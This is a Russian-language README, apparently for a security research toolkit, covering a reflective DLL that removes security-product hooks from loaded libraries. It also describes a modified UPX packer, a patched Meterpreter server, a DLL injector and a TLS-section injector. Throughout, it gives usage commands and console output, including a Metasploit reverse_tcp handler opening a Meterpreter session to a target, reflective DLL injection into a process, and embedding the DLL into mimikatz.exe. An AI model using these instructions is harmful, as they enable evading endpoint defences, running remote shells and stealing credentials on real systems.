Рефлексивная DLL, которая сканирует память процесса и снимает хуки с загруженных библиотек для обхода средств защиты, с интеграцией UPX, TLS-инжектора и Meterpreter.
DLLRefresher.exe — это автономная тестовая программа для сканирования адресного пространства процесса и снятия хуков с загруженных в данный момент библиотек.
Упакованные бинарные файлы UPX были изменены для поддержки дополнительного параметра (-X <path/to/target.dll>) для встраивания в упакованный бинарный файл. Итоговый упакованный бинарный файл UPX распакует целевой исполняемый файл в памяти и вызовет встроенную DLL перед переходом на оригинальную точку входа исполняемого файла.
Изменённый исходный код UPX можно найти по адресу https://github.com/CylanceVulnResearch/upx/tree/reflective_dll
Использование:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
Пример:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
metsrv.dll (и связанные плагины в папке meterpreter) — это модифицированный сервер meterpreter, который снимает хуки с загруженных в данный момент библиотек перед запуском инициализации meterpreter.
Использование:
Скопируйте все DLL из папки meterpreter в metasploit-framework/data/meterpreter/ и запустите meterpreter на цели обычным образом.
Пример:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe — это вспомогательная утилита для внедрения заданной DLL в любой процесс.
Использование:
Inject.exe <pid> <filename>
Пример:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
DLL можно внедрить через сессию meterpreter с помощью модуля post/windows/manage/reflective_dll_inject.
Использование:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
Пример:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py — это модифицированная версия скрипта Borja Merino для поддержки рефлексивного внедрения DLL. Он берёт рефлексивную DLL и внедряет её в TLS-секцию 32-битного исполняемого файла (64-битные не поддерживаются).
Использование:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
Пример:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t